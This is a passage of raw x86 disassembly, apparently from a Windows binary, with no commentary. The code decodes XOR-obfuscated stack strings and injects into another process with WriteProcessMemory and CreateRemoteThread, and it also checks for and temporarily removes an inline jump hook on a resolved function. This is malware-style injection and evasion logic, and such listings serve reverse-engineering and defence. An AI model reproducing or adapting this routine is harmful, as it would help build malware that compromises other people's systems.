mov dword [ebp - 0x10d4], 0xd94a2563
mov dword [ebp - 0x1a90], 0x22eb919d
mov dword [ebp - 0x1a8c], 0xd94a2563
mov dword [ebp - 0x10d0], 0xe7ff831c
mov dword [ebp - 0x10cc], 0xe8e8bf41
mov dword [ebp - 0x1a88], 0xe7ff831c
mov dword [ebp - 0x1a84], 0xe8e8bf41
mov dword [ebp - 0x10c8], 0x25de290e
mov dword [ebp - 0x10c4], 0x826dd735
mov dword [ebp - 0x1a80], 0x25de290e
mov dword [ebp - 0x1a7c], 0x826dd735
mov dword [ebp - 0x10c0], 0x5fdd0194
mov dword [ebp - 0x10bc], 0xc41dcbf7
mov dword [ebp - 0x1a78], 0x5fdd0194
mov dword [ebp - 0x1a74], 0xc41dcbf7
mov dword [ebp - 0x10b8], 0x7d0df9c
mov dword [ebp - 0x10b4], 0xed779233
mov dword [ebp - 0x1a70], 0x7d0df9c
mov dword [ebp - 0x1a6c], 0xed779233
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x10e0]
lea eax, [ebp - 0x10e0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10e0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x10d0]
movaps xmmword [ebp - 0x10d0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x10c0]
push esi
push eax
movaps xmmword [ebp - 0x10c0], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
push 0
push 0x720
push 0x454430
push dword [ebp - 0x2b44]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45bfb9
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1ac8], 0x96a0e880
lea eax, [ebp - 0x1a98]
mov dword [ebp - 0x1ac4], 0x8cadc36b
push eax
lea eax, [ebp - 0x1ac8]
mov dword [ebp - 0x1ac0], 0x10f4958b
push eax
lea ecx, [ebp - 0x30a0]
mov dword [ebp - 0x1abc], 0xd5482c42
mov dword [ebp - 0x1ab8], 0xe7ff822b
mov dword [ebp - 0x1ab4], 0xe8e8bf41
mov dword [ebp - 0x1ab0], 0x25de290e
mov dword [ebp - 0x1aac], 0x826dd735
mov dword [ebp - 0x1aa8], 0x5fdd0194
mov dword [ebp - 0x1aa4], 0xc41dcbf7
mov dword [ebp - 0x1aa0], 0x7d0df9c
mov dword [ebp - 0x1a9c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1ac8]
mov dword [ebp - 0x8a0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1af8]
mov dword [ebp - 0x89c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3098]
mov dword [ebp - 0x1af8], 0xe2c99ad7
mov dword [ebp - 0x1af4], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
mov dword [ebp - 0x1af0], 0x6387f0e8
mov dword [ebp - 0x1aec], 0xba25490f
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x1ae8], 0x81dffb59
mov dword [ebp - 0x1ae4], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
mov dword [ebp - 0x1ae0], 0x4ca9096a
mov dword [ebp - 0x1adc], 0xe14dbf41
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x1ad8], 0x7fb865fb
mov dword [ebp - 0x1ad4], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
mov dword [ebp - 0x1ad0], 0x7d0df9c
mov dword [ebp - 0x1acc], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1af8]
mov dword [ebp - 0x10b0], 0x96a0e880
push eax
lea eax, [ebp - 0x1b28]
mov dword [ebp - 0x10ac], 0x8cadc36b
push eax
lea ecx, [ebp - 0x3090]
mov dword [ebp - 0x1b28], 0x96a0e880
mov dword [ebp - 0x1b24], 0x8cadc36b
mov dword [ebp - 0x10a8], 0x10f4958b
mov dword [ebp - 0x10a4], 0xd5482c42
mov dword [ebp - 0x1b20], 0x10f4958b
mov dword [ebp - 0x1b1c], 0xd5482c42
mov dword [ebp - 0x10a0], 0xe7ff822b
mov dword [ebp - 0x109c], 0xe8e8bf41
mov dword [ebp - 0x1b18], 0xe7ff822b
mov dword [ebp - 0x1b14], 0xe8e8bf41
mov dword [ebp - 0x1098], 0x25de290e
mov dword [ebp - 0x1094], 0x826dd735
mov dword [ebp - 0x1b10], 0x25de290e
mov dword [ebp - 0x1b0c], 0x826dd735
mov dword [ebp - 0x1090], 0x5fdd0194
mov dword [ebp - 0x108c], 0xc41dcbf7
mov dword [ebp - 0x1b08], 0x5fdd0194
mov dword [ebp - 0x1b04], 0xc41dcbf7
mov dword [ebp - 0x1088], 0x7d0df9c
mov dword [ebp - 0x1084], 0xed779233
mov dword [ebp - 0x1b00], 0x7d0df9c
mov dword [ebp - 0x1afc], 0xed779233
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x10b0]
lea eax, [ebp - 0x10b0]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x10b0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x10a0]
movaps xmmword [ebp - 0x10a0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1090]
push esi
push eax
movaps xmmword [ebp - 0x1090], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
push 0
push 0x720
lea eax, [ebp - 0x2998]
push eax
push dword [ebp - 0x2b40]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c2df
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1b58], 0x96a0e880
lea eax, [ebp - 0x1b28]
mov dword [ebp - 0x1b54], 0x8cadc36b
push eax
lea eax, [ebp - 0x1b58]
mov dword [ebp - 0x1b50], 0x10f4958b
push eax
lea ecx, [ebp - 0x3088]
mov dword [ebp - 0x1b4c], 0xd5482c42
mov dword [ebp - 0x1b48], 0xe7ff822b
mov dword [ebp - 0x1b44], 0xe8e8bf41
mov dword [ebp - 0x1b40], 0x25de290e
mov dword [ebp - 0x1b3c], 0x826dd735
mov dword [ebp - 0x1b38], 0x5fdd0194
mov dword [ebp - 0x1b34], 0xc41dcbf7
mov dword [ebp - 0x1b30], 0x7d0df9c
mov dword [ebp - 0x1b2c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1b58]
mov dword [ebp - 0x8a0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1b88]
mov dword [ebp - 0x89c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3080]
mov dword [ebp - 0x1b88], 0xe2c99ad7
mov dword [ebp - 0x1b84], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
mov dword [ebp - 0x1b80], 0x6387f0e8
mov dword [ebp - 0x1b7c], 0xba25490f
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x1b78], 0x81dffb59
mov dword [ebp - 0x1b74], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
mov dword [ebp - 0x1b70], 0x4ca9096a
mov dword [ebp - 0x1b6c], 0xe14dbf41
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x1b68], 0x7fb865fb
mov dword [ebp - 0x1b64], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
mov dword [ebp - 0x1b60], 0x7d0df9c
mov dword [ebp - 0x1b5c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1b88]
mov dword [ebp - 0x1080], 0x96a0e880
push eax
lea eax, [ebp - 0x1bb8]
mov dword [ebp - 0x107c], 0x8cadc36b
push eax
lea ecx, [ebp - 0x3078]
mov dword [ebp - 0x1bb8], 0x96a0e880
mov dword [ebp - 0x1bb4], 0x8cadc36b
mov dword [ebp - 0x1078], 0x10f4958b
mov dword [ebp - 0x1074], 0xd5482c42
mov dword [ebp - 0x1bb0], 0x10f4958b
mov dword [ebp - 0x1bac], 0xd5482c42
mov dword [ebp - 0x1070], 0xe7ff822b
mov dword [ebp - 0x106c], 0xe8e8bf41
mov dword [ebp - 0x1ba8], 0xe7ff822b
mov dword [ebp - 0x1ba4], 0xe8e8bf41
mov dword [ebp - 0x1068], 0x25de290e
mov dword [ebp - 0x1064], 0x826dd735
mov dword [ebp - 0x1ba0], 0x25de290e
mov dword [ebp - 0x1b9c], 0x826dd735
mov dword [ebp - 0x1060], 0x5fdd0194
mov dword [ebp - 0x105c], 0xc41dcbf7
mov dword [ebp - 0x1b98], 0x5fdd0194
mov dword [ebp - 0x1b94], 0xc41dcbf7
mov dword [ebp - 0x1058], 0x7d0df9c
mov dword [ebp - 0x1054], 0xed779233
mov dword [ebp - 0x1b90], 0x7d0df9c
mov dword [ebp - 0x1b8c], 0xed779233
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1080]
lea eax, [ebp - 0x1080]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1080], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1070]
movaps xmmword [ebp - 0x1070], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1060]
push esi
push eax
movaps xmmword [ebp - 0x1060], xmm1
call fcn.0044b300
add esp, 8
jmp 0x45ccba
lea eax, [ebp - 0x18f8]
mov dword [ebp - 0x1918], 0xabbbfe9b
push eax
lea eax, [ebp - 0x1918]
mov dword [ebp - 0x1914], 0x8aabfa60
push eax
lea ecx, [ebp - 0x3070]
mov dword [ebp - 0x1910], 0x19ee9c89
mov dword [ebp - 0x190c], 0xcf4d1d6a
mov dword [ebp - 0x1908], 0x81df9037
mov dword [ebp - 0x1904], 0x8d84d620
mov dword [ebp - 0x1900], 0x4ca9096a
mov dword [ebp - 0x18fc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x18d8]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x18f8]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3068]
mov dword [ebp - 0x18f8], 0xe2c99ad7
mov dword [ebp - 0x18f4], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x18f0], 0x6387f0e8
mov dword [ebp - 0x18ec], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x18e8], 0x81dffb59
mov dword [ebp - 0x18e4], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x18e0], 0x4ca9096a
mov dword [ebp - 0x18dc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x18b8]
mov dword [ebp - 0xd20], 0xabbbfe9b
push eax
lea eax, [ebp - 0x18d8]
mov dword [ebp - 0xd1c], 0x8aabfa60
push eax
lea ecx, [ebp - 0x3060]
mov dword [ebp - 0x18d8], 0xabbbfe9b
mov dword [ebp - 0x18d4], 0x8aabfa60
mov dword [ebp - 0xd18], 0x19ee9c89
mov dword [ebp - 0xd14], 0xcf4d1d6a
mov dword [ebp - 0x18d0], 0x19ee9c89
mov dword [ebp - 0x18cc], 0xcf4d1d6a
mov dword [ebp - 0xd10], 0x81df9037
mov dword [ebp - 0xd0c], 0x8d84d620
mov dword [ebp - 0x18c8], 0x81df9037
mov dword [ebp - 0x18c4], 0x8d84d620
mov dword [ebp - 0xd08], 0x4ca9096a
mov dword [ebp - 0xd04], 0xe14dbf41
mov dword [ebp - 0x18c0], 0x4ca9096a
mov dword [ebp - 0x18bc], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xd20]
lea eax, [ebp - 0x2b50]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3058]
movaps xmmword [ebp - 0xd20], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd10]
push eax
lea eax, [ebp - 0x2b60]
movaps xmmword [ebp - 0xd10], xmm1
push eax
mov dword [ebp - 0x2b60], 0x8eadeeb9
mov dword [ebp - 0x2b5c], 0x8fbbbd62
mov dword [ebp - 0x2b58], 0x6387f084
mov dword [ebp - 0x2b54], 0xba25490f
call fcn.0045f450
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x2b70], 0xe2c99ad7
mov dword [ebp - 0x2b6c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2b68], 0x6387f0e8
lea eax, [ebp - 0x2b60]
mov dword [ebp - 0x2b64], 0xba25490f
push eax
lea eax, [ebp - 0x2b70]
push eax
lea ecx, [ebp - 0x3050]
call fcn.0045f450
lea eax, [ebp - 0x2b70]
mov dword [ebp - 0xa00], 0x8eadeeb9
push eax
lea eax, [ebp - 0x2b80]
mov dword [ebp - 0x9fc], 0x8fbbbd62
push eax
lea ecx, [ebp - 0x3048]
mov dword [ebp - 0x2b80], 0x8eadeeb9
mov dword [ebp - 0x2b7c], 0x8fbbbd62
mov dword [ebp - 0x9f8], 0x6387f084
mov dword [ebp - 0x9f4], 0xba25490f
mov dword [ebp - 0x2b78], 0x6387f084
mov dword [ebp - 0x2b74], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xa00]
lea eax, [ebp - 0xa00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xa00], xmm1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xd20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 5
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x2b48], eax
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 0x1c], 0xe9
jne 0x45c660
mov eax, dword [ebp - 0x2b48]
push 0
push 5
push eax
push eax
push esi
mov byte [ebp - 0x2b2d], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push dword [ebp - 0x2b40]
push dword [ebp - 0x2b44]
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2b38], eax
test eax, eax
jne 0x45c9b3
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
mov dword [ebp - 0x1c78], 0x83ace894
lea eax, [ebp - 0x1c48]
mov dword [ebp - 0x1c74], 0x868df67a
push eax
lea eax, [ebp - 0x1c78]
mov dword [ebp - 0x1c70], 0x6f39f85
push eax
lea ecx, [ebp - 0x3040]
mov dword [ebp - 0x1c6c], 0xdf57215b
mov dword [ebp - 0x1c68], 0xe7ff9f38
mov dword [ebp - 0x1c64], 0xe8e8bf41
mov dword [ebp - 0x1c60], 0x25de290e
mov dword [ebp - 0x1c5c], 0x826dd735
mov dword [ebp - 0x1c58], 0x5fdd0194
mov dword [ebp - 0x1c54], 0xc41dcbf7
mov dword [ebp - 0x1c50], 0x7d0df9c
mov dword [ebp - 0x1c4c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1ca8]
mov dword [ebp - 0x8a0], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1cd8]
mov dword [ebp - 0x89c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3038]
mov dword [ebp - 0x1cd8], 0xe2c99ad7
mov dword [ebp - 0x1cd4], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
mov dword [ebp - 0x1cd0], 0x6387f0e8
mov dword [ebp - 0x1ccc], 0xba25490f
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x1cc8], 0x81dffb59
mov dword [ebp - 0x1cc4], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
mov dword [ebp - 0x1cc0], 0x4ca9096a
mov dword [ebp - 0x1cbc], 0xe14dbf41
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x1cb8], 0x7fb865fb
mov dword [ebp - 0x1cb4], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
mov dword [ebp - 0x1cb0], 0x7d0df9c
mov dword [ebp - 0x1cac], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1cd8]
mov dword [ebp - 0x1050], 0x83ace894
push eax
lea eax, [ebp - 0x1d08]
mov dword [ebp - 0x104c], 0x868df67a
push eax
lea ecx, [ebp - 0x3030]
mov dword [ebp - 0x1d08], 0x83ace894
mov dword [ebp - 0x1d04], 0x868df67a
mov dword [ebp - 0x1048], 0x6f39f85
mov dword [ebp - 0x1044], 0xdf57215b
mov dword [ebp - 0x1d00], 0x6f39f85
mov dword [ebp - 0x1cfc], 0xdf57215b
mov dword [ebp - 0x1040], 0xe7ff9f38
mov dword [ebp - 0x103c], 0xe8e8bf41
mov dword [ebp - 0x1cf8], 0xe7ff9f38
mov dword [ebp - 0x1cf4], 0xe8e8bf41
mov dword [ebp - 0x1038], 0x25de290e
mov dword [ebp - 0x1034], 0x826dd735
mov dword [ebp - 0x1cf0], 0x25de290e
mov dword [ebp - 0x1cec], 0x826dd735
mov dword [ebp - 0x1030], 0x5fdd0194
mov dword [ebp - 0x102c], 0xc41dcbf7
mov dword [ebp - 0x1ce8], 0x5fdd0194
mov dword [ebp - 0x1ce4], 0xc41dcbf7
mov dword [ebp - 0x1028], 0x7d0df9c
mov dword [ebp - 0x1024], 0xed779233
mov dword [ebp - 0x1ce0], 0x7d0df9c
mov dword [ebp - 0x1cdc], 0xed779233
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1050]
lea eax, [ebp - 0x1050]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1050], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1040]
movaps xmmword [ebp - 0x1040], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1030]
push esi
push eax
movaps xmmword [ebp - 0x1030], xmm1
call fcn.0044b300
add esp, 8
cmp byte [ebp - 0x2b2d], 0
je 0x45ccba
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2b48]
push dword [ebp - 0x2b3c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x45ccba
push 0x2bf20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x2b34], eax
call edi
cmp byte [ebp - 0x2b2d], 0
je 0x45c9f0
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x2b48]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x2b4c]
push eax
push dword [ebp - 0x2b38]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x2b34]
cmp eax, 0x102
je 0x45ca5d
cmp eax, 0x80
je 0x45ca5d
mov eax, dword [ebp - 0x2b4c]
test eax, eax
je 0x45ca5d
cmp eax, 0xffffffff
je 0x45ca5d
push 0x2710
call edi
push 0x8000
push 0
push dword [ebp - 0x2b44]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2b40]
push dword [ebp - 0x2b3c]
call esi
jmp 0x45d039
push dword [ebp - 0x2b38]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x8000
push 0
push dword [ebp - 0x2b44]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call esi
push 0x8000
push 0
push dword [ebp - 0x2b40]
push dword [ebp - 0x2b3c]
call esi
push dword [ebp - 0x2b3c]
call edi
lea eax, [ebp - 0x1898]
mov dword [ebp - 0x18b8], 0x87a3f49e
push eax
lea eax, [ebp - 0x18b8]
mov dword [ebp - 0x18b4], 0x82ffe76d
push eax
lea ecx, [ebp - 0x3028]
mov dword [ebp - 0x18b0], 0xee2849c
mov dword [ebp - 0x18ac], 0xdc053d7f
mov dword [ebp - 0x18a8], 0xe4b39238
mov dword [ebp - 0x18a4], 0x8d84dc44
mov dword [ebp - 0x18a0], 0x4ca9096a
mov dword [ebp - 0x189c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1878]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1898]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x2fe8]
mov dword [ebp - 0x1898], 0xe2c99ad7
mov dword [ebp - 0x1894], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1890], 0x6387f0e8
mov dword [ebp - 0x188c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1888], 0x81dffb59
mov dword [ebp - 0x1884], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1880], 0x4ca9096a
mov dword [ebp - 0x187c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1858]
mov dword [ebp - 0xd40], 0x87a3f49e
push eax
lea eax, [ebp - 0x1878]
mov dword [ebp - 0xd3c], 0x82ffe76d
push eax
lea ecx, [ebp - 0x3020]
mov dword [ebp - 0x1878], 0x87a3f49e
mov dword [ebp - 0x1874], 0x82ffe76d
mov dword [ebp - 0xd38], 0xee2849c
mov dword [ebp - 0xd34], 0xdc053d7f
mov dword [ebp - 0x1870], 0xee2849c
mov dword [ebp - 0x186c], 0xdc053d7f
mov dword [ebp - 0xd30], 0xe4b39238
mov dword [ebp - 0xd2c], 0x8d84dc44
mov dword [ebp - 0x1868], 0xe4b39238
mov dword [ebp - 0x1864], 0x8d84dc44
mov dword [ebp - 0xd28], 0x4ca9096a
mov dword [ebp - 0xd24], 0xe14dbf41
mov dword [ebp - 0x1860], 0x4ca9096a
mov dword [ebp - 0x185c], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xd40]
pxor xmm1, xmmword [ebp - 0xd40]
movaps xmmword [ebp - 0xd40], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd30]
movaps xmmword [ebp - 0xd30], xmm1
push eax
call fcn.0044b300
mov edi, dword [ebp - 0x2b2c]
add esp, 4
lea ecx, [ebp - 0x228]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x45ccc3
sub ecx, edx
lea edx, [ebp - 0x228]
sar ecx, 1
push ecx
mov ecx, edi
call fcn.00454490
add esp, 4
test al, al
jne 0x45d039
lea eax, [ebp - 0x1838]
mov dword [ebp - 0x1858], 0x91a7f380
push eax
lea eax, [ebp - 0x1858]
mov dword [ebp - 0x1854], 0xc3b4f061
push eax
lea ecx, [ebp - 0x3018]
mov dword [ebp - 0x1850], 0x6ed9e81
mov dword [ebp - 0x184c], 0xdb053d6c
mov dword [ebp - 0x1848], 0xecba8f2d
mov dword [ebp - 0x1844], 0xeba4a250
mov dword [ebp - 0x1840], 0x29c5600b
mov dword [ebp - 0x183c], 0xe14db525
call fcn.0045f450
lea eax, [ebp - 0x1818]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1838]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3010]
mov dword [ebp - 0x1838], 0xe2c99ad7
mov dword [ebp - 0x1834], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1830], 0x6387f0e8
mov dword [ebp - 0x182c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1828], 0x81dffb59
mov dword [ebp - 0x1824], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1820], 0x4ca9096a
mov dword [ebp - 0x181c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x17f8]
mov dword [ebp - 0xd60], 0x91a7f380
push eax
lea eax, [ebp - 0x1818]
mov dword [ebp - 0xd5c], 0xc3b4f061
push eax
lea ecx, [ebp - 0x3008]
mov dword [ebp - 0x1818], 0x91a7f380
mov dword [ebp - 0x1814], 0xc3b4f061
mov dword [ebp - 0xd58], 0x6ed9e81
mov dword [ebp - 0xd54], 0xdb053d6c
mov dword [ebp - 0x1810], 0x6ed9e81
mov dword [ebp - 0x180c], 0xdb053d6c
mov dword [ebp - 0xd50], 0xecba8f2d
mov dword [ebp - 0xd4c], 0xeba4a250
mov dword [ebp - 0x1808], 0xecba8f2d
mov dword [ebp - 0x1804], 0xeba4a250
mov dword [ebp - 0xd48], 0x29c5600b
mov dword [ebp - 0xd44], 0xe14db525
mov dword [ebp - 0x1800], 0x29c5600b
mov dword [ebp - 0x17fc], 0xe14db525
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xd60]
pxor xmm1, xmmword [ebp - 0xd60]
movaps xmmword [ebp - 0xd60], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xd50]
push eax
movaps xmmword [ebp - 0xd50], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2b90], 0xb19cdb87
lea eax, [ebp - 0x2b80]
mov dword [ebp - 0x2b8c], 0xe3df934b
lea ecx, [ebp - 0x3000]
mov dword [ebp - 0x2b88], 0x6387f0e8
mov dword [ebp - 0x2b84], 0xba25490f
push eax
lea eax, [ebp - 0x2b90]
push eax
call fcn.0045f450
mov dword [ebp - 0x850], 0xe2c99ad7
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x2ba0], 0xe2c99ad7
lea eax, [ebp - 0x2b90]
mov dword [ebp - 0x2b9c], 0xe3df930e
push eax
lea eax, [ebp - 0x2ba0]
mov dword [ebp - 0x848], 0x6387f0e8
push eax
lea ecx, [ebp - 0x2ff8]
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2b98], 0x6387f0e8
mov dword [ebp - 0x2b94], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2ba0]
mov dword [ebp - 0xb00], 0xb19cdb87
push eax
lea eax, [ebp - 0x2bb0]
mov dword [ebp - 0xafc], 0xe3df934b
push eax
lea ecx, [ebp - 0x2ff0]
mov dword [ebp - 0x2bb0], 0xb19cdb87
mov dword [ebp - 0x2bac], 0xe3df934b
mov dword [ebp - 0xaf8], 0x6387f0e8
mov dword [ebp - 0xaf4], 0xba25490f
mov dword [ebp - 0x2ba8], 0x6387f0e8
mov dword [ebp - 0x2ba4], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xb00]
pxor xmm1, xmmword [ebp - 0xb00]
push eax
movaps xmmword [ebp - 0xb00], xmm1
call fcn.005d657d
add esp, 4
call fcn.0044d800
lea ecx, [ebp - 0x1378]
call fcn.0045e560
lea ecx, [ebp - 0x8e8]
call fcn.0045e560
lea ecx, [ebp - 0x1348]
call fcn.0045e560
lea ecx, [ebp - 0x988]
call fcn.0045e560
lea ecx, [ebp - 0x1360]
call fcn.0045e560
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005c77ea
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov dword [ebp - 0x1320], 0xeabc9e31
lea eax, [ebp - 0x1330]
mov dword [ebp - 0x131c], 0xfff6b300
mov dword [ebp - 0x1318], 0x6c857b05
mov dword [ebp - 0x1314], 0x8028d331
mov dword [ebp - 0x1310], 0x1c980088
mov dword [ebp - 0x130c], 0xaf74caba
mov dword [ebp - 0x1308], 0x72bfa6bc
mov dword [ebp - 0x1304], 0x8819b241
mov dword [ebp - 0x1300], 0x7c49f1b9
mov dword [ebp - 0x12fc], 0xd72968df
mov dword [ebp - 0x12f8], 0x8ed6aa80
mov dword [ebp - 0x12f4], 0x28319491
mov dword [ebp - 0x12f0], 0x4be4981f
mov dword [ebp - 0x12ec], 0xbfe560f6
mov dword [ebp - 0x12e8], 0x55731230
mov dword [ebp - 0x12e4], 0xbbe4a17e
mov dword [ebp - 0x12e0], 0xa47d7ce1
mov dword [ebp - 0x12dc], 0x55dd6328
